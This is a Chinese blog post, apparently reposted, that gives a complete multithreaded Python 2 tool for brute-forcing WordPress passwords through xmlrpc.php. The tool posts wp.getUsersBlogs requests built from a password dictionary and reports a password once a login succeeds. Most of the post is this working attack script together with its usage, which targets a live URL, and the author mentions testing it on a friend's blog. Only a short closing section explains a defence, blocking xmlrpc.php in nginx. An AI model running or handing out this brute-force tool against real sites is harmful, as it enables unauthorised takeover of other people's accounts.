好消息:胡歌网摘新面貌迎接2015~!

用python写的WordPress多线程暴力破解工具

网络技术 胡歌 1882浏览 0评论

破解是利用的wordpress xmlrpc.php实现破解的。

使用python向wordpress的xmlrpc.php post以下数据,从返回的响应体中查找相应的字符串,从而实现破解。

<?xml version="1.0" encoding="iso-8859-1"?>
        <methodCall>
          <methodName>wp.getUsersBlogs</methodName>
          <params>
           <param><value>admin</value></param>
           <param><value>www.waitalone.cn</value></param>
          </params>
        </methodCall>



由于对python的多线程研究的不是很深入,所以无法做到在已经得到密码的情况下,停止其它线程的破解,如果加入了相关的控制语句,程序会卡死,希望对python多线程研究比较深入的大牛看到这篇文章的时候,能帮我改进一下程序,谢谢!

python版WordPress多线程暴力破解工具


#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2015/4/29
# 博客 http://www.ptent.net/
import os, sys, time, urllib2
import threading, Queue

def usage():
    os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 50 + '+'
    print '\t Python WordPress暴力破解工具多线程版'
    print '\t   Blog:http://www.ptent.net/'
    print '\t       Time:2015-04-29'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 4:
        print '用法: ' + os.path.basename(sys.argv[0]) + '  用户名  密码字典  待破解的网站URL地址  '
        print '实例: ' + os.path.basename(sys.argv[0]) + '  admin  pass.txt http://www.ptent.net/ '
        sys.exit()

queue = Queue.Queue()
lock = threading.RLock()
success = []

class Crack(threading.Thread):
    '''
    WordPress xmlrpc多线程暴力破解类
    '''

    def __init__(self, queue):
        super(Crack, self).__init__()
        self.queue = queue
        self.crack_url = url + 'xmlrpc.php'

    def run(self):
        while True:
            try:
                password = self.queue.get()
                if password == None: break
                self.post = '''
                    <?xml version="1.0" encoding="iso-8859-1"?>
                    <methodCall>
                      <methodName>wp.getUsersBlogs</methodName>
                      <params>
                       <param><value>''' + username + '''</value></param>
                       <param><value>''' + password + '''</value></param>
                      </params>
                    </methodCall>
                '''
                self.header = {
                    'UserAgent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
                    'Referer': self.crack_url
                }
                self.req = urllib2.Request(self.crack_url, data=self.post, headers=self.header)
                self.res = urllib2.urlopen(self.req, timeout=10).read().decode('utf-8').encode('GBK')
            except Exception, msg:
                lock.acquire()
                print '发生了异常情况,卧槽!!!!!!!', msg
                lock.release()
            else:
                lock.acquire()
                if 'faultCode' in self.res:
                    print '[×] 报告爷,正在尝试密码: %s' % password
                elif 'isAdmin' in self.res:
                    print '\n[√] 报告爷,密码破解成功: %s\n' % password
                    success.append(password)
                lock.release()
            finally:
                self.queue.task_done()

if __name__ == '__main__':
    usage()
    username = sys.argv[1]
    url = sys.argv[3]
    if url[-1] != '/': url += '/'
    print '[√] 目标:', url + '\n'
    start = time.time()
    if os.path.isfile(sys.argv[2]):
        passlist = [x.strip() for x in open(sys.argv[2])]
        print '[√] 报告爷,共有密码[ %d ]行!\n' % len(passlist)
        for i in range(10):
            t = Crack(queue)
            t.setDaemon(True)
            t.start()
        for password in passlist:
            queue.put(password)
        queue.join()
        if success:
            print '\n[√] 大爷,您人品太好了,密码破解成功!'
            print '\n[√] 用户名: %s,密码:%s' % (username, success[0])
        else:
            print '\n[!] 卧槽,居然没有找到密码,他爷爷的,字典不行呀!'
        print '\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start)
    else:
        print '爷,没有密码字典,破解个毛呀?'



用朋友的博客来测试下破解结果截图如下,对比单线程的,大概省10秒左右。

WordPress多线程暴力破解工具

转自:独自等待

修复wordpress的xmlrpc.php漏洞最简单彻底的方法就是删除该文件,对网站访问无影响 (这个文件一般是第三方接口应用的,比如用WindowsLiveWriter写博客,用手机发布日志等等,一般我们是用不到的)

但是如果是更新wordpress的话,那么xmlrpc.php又会重新出现,那么我们可以在nginx里面直接返回404就行了,这样一劳永逸(apache规则自己对应改),如下:

  location ~ ^/xmlrpc.php
  {
    return 404;
  }


转载请注明:胡歌网摘 » 用python写的WordPress多线程暴力破解工具

发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

网友最新评论 (1)

  1. 博主,太爱你了。
    亦双4年前 (2015-12-17)回复